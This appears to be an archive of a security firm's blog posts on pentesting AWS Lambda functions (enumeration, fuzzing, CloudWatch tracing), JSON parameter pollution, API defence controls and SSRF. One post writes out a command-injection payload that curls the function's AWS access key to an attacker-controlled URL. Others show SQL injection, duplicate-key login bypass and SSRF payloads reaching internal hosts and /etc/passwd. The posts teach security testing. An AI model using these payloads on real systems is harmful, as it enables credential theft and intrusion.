Monday, August 20, 2018

Lambda Event Assessment and Pentesting – Invoke, Trace and Dissect (Part 2)

In the last blog post, we talked about the basic methodology for lambda testing where we covered enumeration, profiling and invocation. We can do a quick fuzzing of the lambda function by passing a set of payloads. Lambda functions can be used to build micro services, which get incorporated into the web applications as part of the architecture. These functions can be called in both synchronous as well as asynchronous manners depending on the architectural requirement. In this blog post, we are going to cover another aspect of testing lambda functions  which mainly compromises of  leveraging CloudWatch logs while performing penetration testing.

Architecture of Application with Lambda:

 

Let’s take a real life scenario as shown in the below figure. In this case, there is a web application (enterprise financial application) that is used from various devices like mobile or computers across the globe. API's are also used to extend the use of the application such that it can be leveraged by third party like suppliers, vendors, customers etc. As shown in the application architecture, various AWS components are used by the web application.


Figure 1 – Invoice Processing System for a Financial Application

Let’s take a simple use case scenario:
  • The users of the application submit an invoice for processing through the web or API where they perform various activities like uploading a file, providing the file name, other basic information etc.
  • The web application in turn calls the lambda function which triggers the activities across the AWS components (Amazon S3 and DynamoDB)
  • Once everything is in place, based on scheduling, the message gets posted to Amazon SQS service for asynchronous processing
  • At some point in time, SQS triggers the second lambda function via queue to process the invoice. This queue provides the invoice file to the lambda function which processes the invoice. It does the needful and gets the task done.
If we look at the threat model for the above components, one of the important areas to check is the asynchronous lambda function, which is processing the SQS message.

Let’s do the testing of that function and see what kind of issues we can discover.

Function Integration with other Services:

We can go ahead and enumerate the function details as mentioned in the last blog post. We get the following response and profile for the function. We get basic information like technology stack, permissions, role, code and mapping.



We can see this function is being integrated to SQS service. Here is its mapping:-

---Function Mapping---
[{'UUID': '5cc9f6a9-2b39-41df-9d09-e7adbf3d9305', 'BatchSize': 10, 'EventSourceArn': 'arn:aws:sqs:us-east-2:313588302550:processInvoice', 'FunctionArn': 'arn:aws:lambda:us-east-2:313588302550:function:processInvoice', 'LastModified': datetime.datetime(2018, 8, 10, 15, 32, 32, 867000, tzinfo=tzlocal()), 'State': 'Disabled', 'StateTransitionReason': 'USER_INITIATED'}]


Hence, we can start injecting messaging or SQS events to this function and see how it responds. Before that let’s take a quick look at the AWS console. Here is the SQS position on the AWS console at a given point in time.



We can look at the log for the lambda function for which the trigger is being set for the queue.
 

We can clearly see the event being fired and the message received and processed by the function.

Testing the Function and Tracing:

We can now directly test the function by supplying various values, which are controlled by the user. Below is a sample of the event body. The “body” is controlled by the user, which makes it an interesting area to fuzz.

{
  "Records": [
    {
      "body": "invoice-98790",
      "receiptHandle": "MessageReceiptHandle",
      "md5OfBody": "7b270e59b47ff90a553787216d55d91d",
      "eventSourceARN": "arn:aws:sqs:us-east-2:123456789012:MyQueue",
      "eventSource": "aws:sqs",
      "awsRegion": "us-east-2",
      "messageId": "19dd0b57-b21e-4ac1-bd88-01bbb068cb78",
      "attributes": {
        "ApproximateFirstReceiveTimestamp": "1523232000001",
        "SenderId": "123456789012",
        "ApproximateReceiveCount": "1",
        "SentTimestamp": "1523232000000"
      },
      "messageAttributes": {}
    }
  ]
}


We can use the following code to invoke the function where the event is taken from the file.

 

We get the following output

(+)Configuring Invoking ...
    (-) Loading event from file ...
    (-) Request Id ==> 9dc6aa67-9f9b-11e8-924a-99f63ade1b6b
    (-) Response ==>
    (-) "Invoice processing done!"


We can use the Request Id to trace the log and see what went behind the scene. Let’s use the following code and enumerate CloudWatch logs for the call.



We can pass on the function name and see the results. We can see the last entries and can compare it with the Request Id. Here is the entry for that Request Id: -

 

We can fuzz stream and try different things here and analyse the responses. For example we pass on the following message: -

{
  "Records": [
    {
      "body": "junkname",
      "receiptHandle": "MessageReceiptHandle",
      "md5OfBody": "7b270e59b47ff90a553787216d55d91d",
      "eventSourceARN": "arn:aws:sqs:us-east-2:123456789012:MyQueue",
      "eventSource": "aws:sqs",
      "awsRegion": "us-east-2",
      "messageId": "19dd0b57-b21e-4ac1-bd88-01bbb068cb78",
      "attributes": {
        "ApproximateFirstReceiveTimestamp": "1523232000001",
        "SenderId": "123456789012",
        "ApproximateReceiveCount": "1",
        "SentTimestamp": "1523232000000"
      },
      "messageAttributes": {}
    }
  ]
}


We invoke the function and see a different response.

(+)Configuring Invoking ...
    (-) Loading event from file ...
    (-) Request Id ==> f9e61f20-9f9d-11e8-99aa-59c2b3fe1ba2
    (-) Response ==>
    (-) "Invoice processing done!"

We can see entries in the log.

 

Looks like it is trying to open the file. Now, we can try using different variations and try to figure out the vulnerability. In the previous legitimate request, we saw a line where it returned file’s content type. Hence, it may be using some underlying OS command to fetch the file content type. We try to do command injection here and see what response we get. Since, we are not getting synchronous response with some message back - we can try injecting following the command: –

Invoice-98790;url='https://API-ID.execute-api.us-east-2.amazonaws.com/listen?dump='$AWS_ACCESS_KEY_ID;curl $url


Here, we are passing the URL and trying to extract the AWS access key. Once it is extracted, we use cURL to send the URL to a different location. We can go and see the logs and see the response since that URL is controlled by us. If the command gets executed successfully then we know it is indeed vulnerable.

Here is the message event we try to inject.

 

We have a listener mock over the target URL. It will collect the information if the command gets successfully executed. Let’s invoke the function and monitor the API logs -

 

Hence, this way the vulnerability is detected. We can see the code and find the following line using standard SAST approach as well.

 

Conclusion:

Lambda function testing is relatively simple when we focus on fuzzing the event and injecting the payload directly through AWS APIs. It is imperative to identify threat points and fuzz with the right payloads at the right place. Some of these events are not synchronous and are triggered in various different ways, so it is not possible to simulate them like an actual event fired from different sources. It is easy to do direct simulation like we did in the above case. Also, there are different data collection points for AWS function - we have covered DAST and SAST in this case. We can leverage IAST/instrumentation via X-Ray or other methods provided by specific languages, which will be covered  in the coming blog post.
Article by Amish Shah & Shreeraj Shah

Tuesday, August 7, 2018

Lambda Event Assessment and Pentesting – Invoke, Trace and Dissect (Part 1)

Lambda functions are at the core of applications. These functions are invoked, through various events, from various sources like browser, mobile devices or via API calls etc. The events through which the lambda functions are invoked have a pre-defined format for event payloads. The payloads sent via events are eventually consumed by the user-defined code (functions). An attacker, with a malicious intent, can exploit the vulnerable code by poisoning the event payload.

Lambda Function Event Model:


Lambda function can consume one or multiple events over various different streams. It has its own event model with a defined structure as shown in the figure below: -

 Figure – Lambda invocation and access points

As shown in the figure: - the end client interacts with the lambda function through event payloads using channels like HTTP(S), APIs or any other means. It is possible to have asynchronous invocation or polling of events. Hence, there are various possible ways to invoke the function, it all depends on how these functions are being written and exposing entry points. In the above figure, lambda function can be consuming events like SNS, SQS, S3, Kinesis, Lex, Alexa, CloudFront, API Gateway etc. There is a long list of these events. These events would have a pre-defined payload, for example here is an event payload for Amazon SQS.

{
  "queueUrl": "https://sqs.us-east-2.amazonaws.com/123456789012/MyQueue",
  "messages": [
    {
      "body": "Hello ….. message",
      "receiptHandle": "MessageReceiptHandle",
      "md5OfBody": "7b270e59b47ff90a553787216d55d91d",
      "messageId": "19dd0b57-b21e-4ac1-bd88-01bbb068cb78",
      "attributes": {
        "ApproximateFirstReceiveTimestamp": "1523232000001",
        "SenderId": "123456789012",
        "ApproximateReceiveCount": "1",
        "SentTimestamp": "1523232000000"
      },
      "messageAttributes": {}
    }
  ]
}


Hence, we can use these templates for our testing and pass on to the functions at the point of invocation.

Quick Recap on Function Enumeration and Profiling:


In the previous posts we have seen techniques to do function enumeration and profiling. For example: - a simple code like below would list down critical information about the “login” function.



The output for “login” function call is as below: -

 

Methodology for assessing Lambda Functions:


We can start assessing the function with the following techniques in a comprehensive way: -

1.    DAST – we can invoke functions, send across various event payloads and analyse the responses and behaviour which would help in identifying various known vulnerabilities.
2.    SAST – we can fetch the code from Code-Location and try to identify vulnerabilities from the source code itself. It will be a heavy task, depending on the nature and size of the code.
3.    IAST & Logging – we can analyse various logs from Amazon including xRay (Instrumentation SDK of Amazon). Also, one can use this SDK for runtime analysis and collect micro logs.
4.    Deployment Testing – we can analyse deployment of the function using all three above listed testing methodologies; one of the important aspect is to look into the permissions given to users/function.



  
Hence, we can go ahead and do a full 360-degree assessment of the function by utilizing all these techniques to discover possible vulnerabilities.

Let’s look at the possible functions deployed as part of the application: -



As shown in the figure, the function is using SQS, S3 and DynamoDB as a part of application usage. Functions can be invoked over API gateway using HTTP calls. All logs will go to CloudWatch, both from the function as well as APIs. Also, assuming that xRay is enabled on the function, additional logs can be fetched from AWS as well.

Looking at the above structure, we can perform DAST from two points – through API gateway and AWS SDK with limited access to functions. We can directly invoke and fuzz the stream. We can do SAST by fetching code from SDK calls and review the entire code base for the function. Fetching all logs including xRay can be leveraged as part of IAST methodology.

Assessing Function using DAST:


We can start fuzzing and scanning lambda functions by simply invoking the function with a list of payloads. Here is a simple script, which can take various payloads and run them against the function. You can add more values to the “payload” list and fuzz the events. Here we have just passed and filled the event with key-value pairs. You can add any messaging events by using a proper defined structure.


 

We get the following responses back and can see the entire object with messages coming out. The “RequestId” can be noted here, using which various logs can be searched and the request can be traced. We will cover tracing in the next blog post.

 



Moreover, there might be a leak of information sensitive to the application which would be known by analysing the messages displayed to the users in response. Using this information, say for an example a SQL error is seen in the response, one can craft various payloads and exploit the issue if an actual vulnerability exists.

As shown in the enumeration section above, we can get a profile of the lambda functions. From the profile, we can see that the function is mapped to Amazon API Gateway. This information can be leveraged and using the API ID, the function can directly be called over HTTP. This request would pass through the HTTP channel, which would bring the implementation of various mechanisms like WAF into picture as well. Below is a simple way to invoke the function from the browser directly: -

 
We can again analyse responses as well as note the "RequestId", which can further be used to search and trace the request across logs to see different touch points.



Conclusion:


It is quite obvious that one can leverage AWS API directly for testing Lambda functions. A set of test cases and pen test users (with varying access) can be created to conduct thorough testing from a security standpoint. Tests can be run against a list of all functions to check for various attacks ranging from injections to logical bypasses. Though, it is imperative to involve manual intelligence to analyse the behaviour of the functions more closely to identify the correct touch points and security vulnerabilities. Automated techniques can be applied on top of it by leveraging SDK from AWS. Thus, a comprehensive DAST analysis is easy and doable on Lambda functions through penetration testing of these functions. We will look into tracing in the next blog post.

Article by Amish Shah & Shreeraj Shah

Tuesday, July 24, 2018

Enumerating Lambda functions for Pentesting

Lambda functions can be directly pentested as discussed in the last post. We would like to take it to the next level by illustrating the methodology to automate  pentesting. It is interesting to leverage scripting to automate reviewing Lambda functions from security standpoint. We can use SDK and libraries available in various languages. In this post, we are using python with boto3. More detail and documentation can be found at (https://boto3.readthedocs.io/en/latest/reference/services/lambda.html).

Let’s use a simple sample and run against our target deployment. Before running these scripts, one needs to setup AWS configuration as discussed in the last post. We can run script and use “list_functions” to fetch all functions deployed on the target environment. Here is the list of functions, which are fetched from deployment.

tools $python3 listfunction.py
(+) Lambda functions ...
   (-)pyhello
   (-)login
   (-)hello
   (-)myService-dev-helloworld
   (-)delete
   (-)getuserinfo
   


Here is the code snippet for the function used.

def getFunctions():
    raw_functions = client.list_functions()
    all_functions = raw_functions["Functions"]
    #print(json.dumps(all_functions,indent=1))
    list_of_functions = []
    for i in all_functions:
        list_of_functions.append(i["FunctionName"])
    return list_of_functions


This can be entry point for pentesting. You can uncomment the line where we are using json.dumps. It will give you entire stream for evaluation. Now, we can take each function and start enumerating as shown below. We can start evaluating important parameters and its impact on security.

tools $python3 getFunctionInfo.py login
(+) Fetching Lambda function login...
       (+) Platform: nodejs6.10
       (+) Permission: arn:aws:iam::313588302550:role/service-role/access
       (+) Code-Location: https://awslambda-us-east-2-tasks.s3.us-east-2.amazonaws.com/snapshots/313588302550/login-a1488a4f-………69c59232e73703


In above case, we can fetch important information like platform, permission and code-location to fetch source. We can use “get_function” to fetch detail about function. Here is the code snippet -

target_function = sys.argv[1]
print("(+) Fetching Lambda function "+target_function+"...")
myfunc = client.get_function(FunctionName=target_function)
#print(json.dumps(myfunc,indent=1))
temp = myfunc["Configuration"]
print ("       (+) Platform: "+temp["Runtime"])
print ("       (+) Permission: "+temp["Role"])
temp_code = myfunc["Code"]
print ("       (+) Code-Location: "+temp_code["Location"]+"\n")


In case, if you are interested in seeing the entire object, just use json.dump() and print the object as line commented in both of the above cases.

We can enumerate other mapping information as well, here is the way we can leverage “list_event_source_mappings”.

tools $python3 listmap.py
[{'UUID': '682c8cb8-cb32-4cdc-b059-8f655f71fe07', 'BatchSize': 100, 'EventSourceArn': 'arn:aws:dynamodb:us-east-1:223983707454:table/targetlocations/stream/2018-05-30T09:41:22.995', 'FunctionArn': 'arn:aws:lambda:us-east-1:223983707454:function: targetlocations', 'LastModified': datetime.datetime(2018, 7, 4, 8, 10, tzinfo=tzlocal()), 'LastProcessingResult': 'OK', 'State': 'Enabled', 'StateTransitionReason': 'User action'}]

Here is the code for the same.

myfunc = client.list_event_source_mappings(FunctionName='targetlocations')
temp = myfunc["EventSourceMappings"]
print(temp)

It seems function is using “dynamodb” from ARN.

In next posts, we will go over  invoke and tracing the functions.  

Article by Amish Shah & Shreeraj Shah

Monday, July 16, 2018

Fuzzing Serverless Lambda functions directly

Serverless application (FaaS - Function as a Service) development and use of microservices model are emerging in next generation applications and architecture. It is becoming easier to maintain and cost effective in the days of DevOps era. It is imperative to do a quick testing of these functions from security standpoint and look for common vulnerabilities like injections. Amazon provides Lambda functions for serverless architecture whereas Google and Azure also implemented these types of support and having FaaS in their own portfolio. As shown in the below figure, lambda function is created and deployed on amazon and can be triggered by set of events like HTTP gateway, S3 bucket and number of other events. At the end, the functions are being “invoked” and executed by the end client (Browser, mobile or API users). The challenge from security standpoint is to fuzz these inputs going to functions and identifies any defect in the code via error or behavioural observations (purely DAST approach).


Figure 1 - Lambda invoke and integration

To address the issue of fuzzing, we can leverage AWS client (command-line) directly and interact with functions without going through the actual events as shown in the above diagram. It is possible to test these functions if developer provides right environment along with credentials to the pentester. We can set up AWS client and run some quick tests to discover vulnerabilities and weakness.

One needs to setup AWS client and you can find guideline over here - https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html

First, one needs to setup the access for the environment by given keys from developers as shown below. It is quick process and needs basic detail.

$ aws configure
AWS Access Key ID [None]: …
AWS Secret Access Key [None]: …
Default region name [None]: …
Default output format [None]: …


Once it is set, we can go ahead and enumerate the functions deployed on the server as below by using “list-function” option. It helps in enumerating all functions deployed with some basic information including permissions.



As shown above, we get list of all the functions. Next, we can enumerate the functions in more detail. For example, getting configuration and actual location (code) as shown below.



One can get location of the code by following call, “Location” attribute give the code for review if required.



Now, we can get into the most critical part of the testing. We can invoke the function and start interacting with it as shown below over AWS APIs without actual event. Event can be coming from any source but we are keeping focus on directly testing the function.



In above case, we invoked “login” function with “payload”. We directed out to the file and can see the results.

Now, we can just go ahead and start manipulating “payload” with all different values from DAST/Blackbox standpoint. We can fuzz the payload and start injecting values to discover vulnerabilities within lambda functions.

In a nutshell, it is easy to fuzz lambda functions and test them thoroughly. It is possible to add them into DevOps pipe. AWS client can be used with different languages as well to automate the process. For example following code with python and boto3 client helps in automate fuzzing.

 

Here, we are passing ‘john OR 1=1’ as payload to invoke the function. We are getting following response.

 

We get “Error in fetching value from table” as status message. It implies something to do with SQL injection. Again, we need to dive deep and find exact payload. We can automate the script and start fuzzing the lambda functions.

Article by Amish Shah & Shreeraj Shah

Thursday, July 5, 2018

JSON Parameter Pollution

HTTP parameter pollution attack is known to the industry for quite some time now. In HTTP parameter pollution attack, an attacker plays with order of HTTP parameters going to web/application server as part of querystring and/or POST parameter. Attacker tries to confuse HTTP parsers and leverages vulnerable code. Further details on HTTP parameter pollution (HPP) can be found at OWASP - https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)

HTTP parameter pollution vector can be extended to JSON streams as well. If application is consuming JSON stream and parsing based on their order then it is possible to manipulate order and reach to the vulnerable code. Let’s take this simple example.

Figure 1 - Possible Scenario of JSON Parameter Pollution

Here is the original HTTP request/response for the target application,

HTTP Request

POST /starter/login HTTP/1.1
Host: target
Connection: close
Content-Length: 57
Origin: chrome://newtab
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36
content-type: application/json
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{"login":"john","password":"letmein"}


HTTP Response

HTTP/1.1 200 OK
Date: Tue, 03 Jul 2018 06:04:11 GMT
Content-Type: application/json
Content-Length: 20
Connection: close
Access-Control-Allow-Origin: *

{"status":"success"}


As you can see over here, we have passed right credentials and got “success”.

Let’s try wrong credentials and see what response we get,

HTTP Request

POST /starter/login HTTP/1.1
Host: target
Connection: close
Content-Length: 57
Origin: chrome://newtab
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36
content-type: application/json
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{"login":"john","password":"junk"}


HTTP Response

HTTP/1.1 200 OK
Date: Tue, 03 Jul 2018 06:04:11 GMT
Content-Type: application/json
Content-Length: 20
Connection: close
Access-Control-Allow-Origin: *

{"status":"failure"}


So clearly we get “failure” over here. Now we can go ahead and add one more parameter to JSON stream like below and analyze the response.

HTTP Request

POST /starter/login HTTP/1.1
Host: target
Connection: close
Content-Length: 57
Origin: chrome://newtab
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36
content-type: application/json
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{"login":"john","password":"junk",”password”:”letmein”}


HTTP Response

HTTP/1.1 200 OK
Date: Tue, 03 Jul 2018 06:04:11 GMT
Content-Type: application/json
Content-Length: 20
Connection: close
Access-Control-Allow-Origin: *

{"status":"success"}


Hence, as we passed JSON stream like this - {"login":"john","password":"junk",”password”:”letmein”} and end up getting “success”.

JSON parameter pollution conclusion:

In this case or many other cases, it is possible that underlying code is taking last parameter for JSON processing. It depends on library to library, how they are processing the streams. Hence, an attacker can send two parameters and possibly WAF would process first value and library would take second value. It leads to WAF value bypass. Attacker can pass real attack payload in the second parameter and genuine value in the first parameter so that WAF will allow the request and attacker can successfully execute injection on the application through JSON streams. Also, nowadays, applications are running in multi layers where logic is spread across multiple layers and each layer processes JSON data with their own JSON library. Hence, it is quite possible that one library considers first parameter value and second library considers second parameter value. In this situation, attacker can supply different values in both parameters and bypass application business logic validation through invalid values. 

Tuesday, January 23, 2018

Securing APIs – Defence Controls for Developers

APIs have emerged as a solid backbone of applications in this modern world of mashups where applications are using one back-end with multiple front-ends. REST based APIs running over HTTP with JSON or XML are becoming preferred choices for developers. However, API end points are also becoming points of attack for attackers. Hence, developers need to implement proper security controls across APIs during design and development. Here are some important security controls for APIs :

Authentication control – APIs should have proper authentication control in place. APIs mostly run with access tokens/keys. OAuth is a popular building mechanism for tokens or keys. One should make sure that the tokens get validated with every API call/request. If session based authentication is defined, session management along with proper validation must be in place.

Authorization control
– APIs should be well guarded by a proper authorization layer on two fronts – token layer and HTTP method access. REST APIs use HTTP methods like GET for read, POST for create an entry, PUT for update and DELETE for remove. Hence, it is imperative to implement double locking with authorization both at the token layer and at the method layer. Also, in certain cases, resource locking is required at path level as well (example: /admin/ or /globalconfig/).

Injection Controls – API parameters need to be validated before consuming into business logic. All these parameters come over HTTP and can be easily tampered with. Hence, all traditional attacks like SQLi, XSS, CMDinjections etc. are possible on each of these parameters. One needs to have strong controls for injections and at the validation layer across API calls.

CSRF Control
– CSRF is a highly likely attack vector with session cookies in play. Hence, methods like PUT, DELETE or POST need to be validated with tokens to avoid CSRF attacks. Also, CORS can be used to strengthen the defence against CSRF attack vectors using preflight check with a set of rules.

Client Side Controls – Browsers are powerful points of abuse for attackers. Hence, critical vectors like XSS or ClickJacking can abuse APIs. It is important to apply appropriate types of HTTP headers like “nosniff” on X-Content, X-Frame options, Content-Type etc. to protect against these vectors. Also, it is critical to apply JSON and XML encoding as appropriate for the API context. Since DOM based XSS are also on the rise, using secure methods in the browser after consuming APIs is also a must (avoid .innerHTML call and use other pure text calls).

Third-Party-Integration Controls – At times, APIs are using various third-party components and it is imperative to use right coding practices before consuming them. Many applications leverage third party APIs for authentication purpose but fail to make calls to third party APIs when the user logs out of the application, keeping the session alive and exposed for a long duration.  Further, before serializing and de-serializing objects, it is important to make sure that the used libraries are secure and do not have intrinsic vulnerabilities like command injection or similar. Also, many times parsers introduce weaknesses into API calls. Hence, strong overall vetting and controls are required when using third-party components in the code base.

Information Leakage Controls
– HTTP status codes are important for context analysis of APIs. In many cases, these codes help in enumerating information. APIs should not spit out exceptions causing internal implementation or other sensitive information leakage. Hence, proper security controls around exception handling are a must for information leakage protection.

DoS Controls – REST APIs are easy to DoS by overloading with multiple requests in a short span of time. It is a good practice to keep “Rate Limit” on the basis of keys or users in many cases. Also, publicly open calls can be controlled by IP or on session basis to provide robust defence against API layer DoS.

Crypto & Sensitive Data Controls – Obviously, it is important to have SSL/TLS controls (HTTPS) in place for API communication over Internet. Apart from that, one should avoid having sensitive data in the API URL itself. This data can be harvested and misused from time to time at intermediate levels depending on the implementation. Data stored should be kept securely and must also have crypto applied to sensitive fields. If the API is using third party protocols or controls, then their implementation should be verified as well. (Example – JWT integrity).

Auditing Controls – APIs need strong audit and logging controls from security standpoint. API methods and its usage should be logged for various details like authentications, authorizations and injections. If any attempt of bypass or injection is happening across APIs, it should not only be logged but also flagged from time to time for protection of the APIs. One should analyse logs and extract security related incidents from them for improving defences.

Conclusion

Guarding and protecting APIs is becoming very critical for enterprises. We have seen many recent breaches where APIs are being leveraged to enter into corporate networks. API controls are different from regular web applications and need to be addressed at the design and development levels themselves. Controls covered in this article should help as a guideline for developers.

Article by Hemil Shah

Friday, December 22, 2017

Server Side Request Forgery (SSRF) Attack and Defence

Server Side Request Forgery (SSRF) is an interesting vulnerability, which can have potential impact on internal infrastructure residing behind firewall. In this case, HTTP server running over ports like 80/443 becomes an entry point for an attacker to enter into internal network over as legitimate HTTP/HTTPS tunnel.

To understand this vulnerability in detail, let’s assume we have a vulnerable application running on a hypothetical domain www.victim-example.com having a resource named “profile.php”. It is having a parameter named “propic” and it seems to be fetching picture from a resources as below.

GET /profile.php?propic=http://www.someserver.com/mypicture.png&id=9826739HTTP/1.1
Host: www.victim-example.com


Now, looking at the parameter propic, it is taking URL and fetching file from third party server. What if we can tamper with it and try to fetch something else instead? To try it out, we make a following request.


GET /profile.php?propic=http://www.myblueserver.com/foobar.html HTTP/1.1
Host: www.victim-example.com


This example server www.myblueserver.com belongs to us so we can see the logs of it. We can see this entry in it.

<IP of www.victim-example.com> - - [14/Dec/2017:00:06:28 -0700] "GET /foobar.html HTTP/1.1" 404 113 "-" "<Client type>"


Hence, clearly we got out-of-band call from the application. Application is processing propic (URL)parameter and making call to external app or resources. Application page may have lines like below.

$getpicurl = $_GET['propic'];
$profilepic = fopen($getpicurl, 'rb');


Now, this opens up various exploitation opportunities for an attacker. One of them is shown in figure below.



An attacker can start scanning internal hosts and network with reverse HTTP calls like below -
 
GET /profile.php?propic=http://192.168.100.X HTTP/1.1
Host: www.victim-example.com


It may get access to internal files and resources. This type of vulnerability is known as SSRF. It is like abusing HTTP calls with request forgery.

Exploit scenarios:


This functionality can be abused and following types of exploitation can be done.

•    Internal resource scanning and stealing.
•    Using file:// schema to access sensitive resources/files like /etc/passwd or other resources from the same server.
•    One can use other schemas like "ftp://", “dict://” or "gopher://" to abuse vulnerability further.
•    Attacking some other ports as well with cross protocol requests if possible and given scenario.

Conclusion:

SSRF is relatively easy to detect by DAST specially using manual pentesting. One can fuzz requests and look for 200 OK coming from the same server with content coming from different server (internal/external). It may require out-of-band testing setup in some cases if there is a blind SSRF. If vulnerability is identified then it brings major threat to internal resources and should be fixed immediately by proper validations, whitelisting and other secure coding practices.